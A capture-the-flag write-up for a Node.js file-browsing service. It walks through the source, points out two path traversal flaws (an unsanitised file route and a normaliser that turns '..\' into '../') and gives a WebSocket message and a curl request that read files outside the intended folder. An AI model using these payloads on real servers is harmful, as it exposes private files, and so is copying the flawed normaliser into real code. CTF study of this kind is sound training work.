# Storage Service
:::warning
Copyrightⓒ2021 by CSTEC. All contents cannot be copied without permission.
:::
## Analysis
It is a web application developed in nodejs language that implements file browsing function.
```javascript
const express = require('express')
const ws = require('ws')
const app = express()
const __DIR = '/usr/src/app'
/* express */
app.set('views', __DIR + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);
app.use(express.json())
app.use(express.urlencoded({ extended: true }))
const index = require(__DIR + '/route/index')
app.use(index)
/* WebSocket */
const server = new ws.Server({port: 3000})
const connection = require(__DIR + '/route/ws')
server.on('connection', connection)
app.listen(4423)
```
In the provided source code, you can see that the web server and websocket server are operating using two ports 3000 and 4423, respectively.
## Vulnerability
The first vulnerability exists in the web service implemented in the route/index.js file.
```javascript
router.get('/*', (req, res) => {
if (req.params[0] === '') {
res.render('index')
} else {
const path = './files/' + req.params[0]
if (!fs.existsSync(path)) {
res.status(403).send('<h1>403 Not Found.</h1>')
return
}
if (fs.lstatSync(path).isDirectory()) {
res.status(301).redirect('/')
return
}
res.set('Content-Type', mime.lookup(path))
res.sendFile(path, {root: '.'})
}
})
module.exports = router
```
On line 5, the file path is read from the external input argument `req.params` variable. At this time, since there is no sanitize filter, a path traversal vulnerability occurs and files outside the `./files` path can be read.
The second vulnerability exists in route/ws.js , which is a function of the websocket server. The module implements a function that returns a list of files based on external input.
You can get a list of files in the TARGET_PATH path based on an external input in the form `{'type':'dir', 'path':'TARGET_PATH'}`. At this time, the external input goes through a normalization process to prevent path traversal attacks.
```javascript
const normalize = path => {
const startSlash = path.charAt(0) === '/'
const parts = path.split('/')
let res = []
for (let i=0; i < parts.length; i++) {
if (!parts[i] || parts[i] === '.') continue
if (parts[i] === '..') {
if (res.length && res[res.length - 1] !== '..') res.pop()
} else res.push(parts[i])
}
res = res.join('/')
if (!res && !startSlash) {
res = '.'
}
if (res && path[path.length - 1] === '/') {
res += '/'
}
return (startSlash ? '/' : '') + res.replace('\\', '/')
}
```
However, there is a weakness that a path traversal attack is possible through ``..\`` -> ``../`` conversion due to the function of replacing the \ string with a / string in the line 22 code.
## Exploit
```javascript
cli = new WebSocket('ws://target_server:3000')
cli.onmessage = (msg) => console.log(JSON.parse(msg.data))
cli.send(JSON.stringify({'type':'dir', 'path':'..\\'}))
```
```
curl http://target_server:4423/%2e%2e/FILE_NAME
```
It is possible to obtain a flag through the above two attacks, which each trigger two path traversal vulnerabilities.
## test